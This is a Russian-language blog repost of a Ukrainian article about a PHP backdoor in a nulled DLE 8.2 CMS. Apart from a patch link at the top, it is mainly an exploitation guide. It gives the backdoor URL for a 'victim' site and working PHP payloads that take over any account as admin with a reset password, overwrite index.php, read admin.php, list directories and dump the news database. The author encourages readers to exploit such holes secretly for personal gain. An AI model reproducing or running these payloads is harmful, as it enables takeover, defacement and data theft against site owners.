Бэкдор в нулле DLE 8.2
По инету прошла серия беспокойств, в связи с тем что выложили инфу по бэкдору к DLE 8.2 nulled от товарища Zloy
Почитал, нашел кое что интересное и для себя, отправляю статью в копилку.
p.s. Патч доступен http://dle.in.ua/main/6469-vazhno.html
p.s.2 Также советую проверить http://dle.in.ua/bags/6702-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html
Дальше без изменений от автора web-marinell..
Доброго дня шановна громадо.
Хотілося б розповісти вам дещо цікаве. А саме ось що - з виходом релізу ДЛЕ 8.2 я як звичайно викачала нулл і почала його досліджувати. Мою увагу привернув файлик engine/ajax/updates.php а саме увагу привернув фрагмент коду, котрий не тільки виводив зручне віконечко при певному запиті, але й дозволяв виконувати будь-який пхп-скрипт переданий запистом POST. Я досить довгий час користувалася цим "віконцем" аби підвищити тІЦ свого сайту, але з'явилися довбойоби, яким просто пощастило впіймати сліди одного з тих хто користувався цим як і я. Але вони не просто виявили вікно, але й проявивши повний тупізм, розтеревенили про це кому тільки можливо.
Саме тому хотілось би поділитися з вами деякими прийомами розвалу сайтів за допомогою цього "віконця":
1. По перше заходимо на сайт жертві - http://site.ru/engine/ajax/updates.php?wert=hack
2. Вводимо в віконце пхп код з додержанням всіх правил кодування, натискаємо кнопочку і вуаля!
3. Тепер скрипти, котрі я використовувала для взлому:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
// Робимо адміном та змінюємо пароль будь-якого користувача і одразу ж виводимо данні на екран: $pass=md5(md5('123456789')); $db->query( "UPDATE " . USERPREFIX . "_users SET password='".$pass."', lastdate=0, user_group=1 where name='ІМ'Я_КОРИСТУВАЧА'" ); $user_query_name = "SELECT * FROM " . USERPREFIX . "_users WHERE name='ІМ'Я_КОРИСТУВАЧА'"; $user_q_id = $db->query($user_query_name); while($row = $db->get_row($user_q_id)){ $x=array_keys($row); echo <<<HTML <div style="margin: 10px; padding: 10px; border: 1px solid #555555; background-color: #FFFFCC"> HTML; for($i=0;$i<count($x);$i++){ echo '<div style="padding-bottom: 3px"><b>'.$x[$i].'</b> '.$row[$x[$i]].'</div>'; } echo '</div>'; } |
1 2 3 4 5 6 7 8 9 10 |
//Перезаписуємо певний файл: $file=ROOT_DIR.'/index.php'; @chmod($file,0777); $write = 'Якийсь текст'; $fp = fopen($file, "w"); $save = fwrite($fp, $write); fclose($fp); |
1 2 3 4 5 6 7 8 9 10 |
// Читаємо файл: $cv=file_get_contents(ROOT_DIR.'/admin.php'); $cv=htmlentities($cv); $cv=preg_replace("#\n#","<br />",$cv); echo '<div style="padding-left: 20px; padding-right: 20px"> <div style="padding-left: 10px; border: 1px solid #111111; padding-right: 10px; padding-top: 10px; padding-bottom: 10px; background-color: #FFCCFF"> '.$cv.'</div></div>'; |
1 2 3 4 5 6 7 8 9 10 11 12 |
// Щось накшталт файлового менеджеру: $dir=ROOT_DIR.'/engine/data'; $xcv=scandir($dir); ksort($xcv); for($i=0;$i<count($xcv);$i++){ $qwe=substr(sprintf('%o', fileperms($dir.'/'.$xcv[$i])), -4); if(filetype($dir.'/'.$xcv[$i])=='dir'){ $color='#FF0000'; }else{ $color='#000066'; } echo $qwe.' - <font color="'.$color.'">'.$xcv[$i].'</font><br />'; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
// Виводимо відразу всі новини з бази данних: $user_query_name = "SELECT * FROM " . USERPREFIX . "_post ORDER BY date DESC"; $user_q_id = $db->query($user_query_name); while($row = $db->get_row($user_q_id)){ echo <<<HTML <div style="margin: 10px; padding: 10px; border: 1px solid #555555; background-color: #FFCCFF"> <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><center><h3>{$row['title']}</h3></center></div> <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Автор:</b> {$row['autor']}</div> <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Дата публикации:</b> {$row['date']}</div> <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Краткая новость:</b> {$row['short_story']}</div> <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Полная новость:</b> {$row['full_story']}</div> </div> HTML; } |
Користуйтесь на здоров'я, і пам'ятайте, знайшовши подібне "віконце" не варто про це кричати на весь світ, варто використовувати це в своїх інтересах.
Author: | Tags: /
| Rating:
Leave a Reply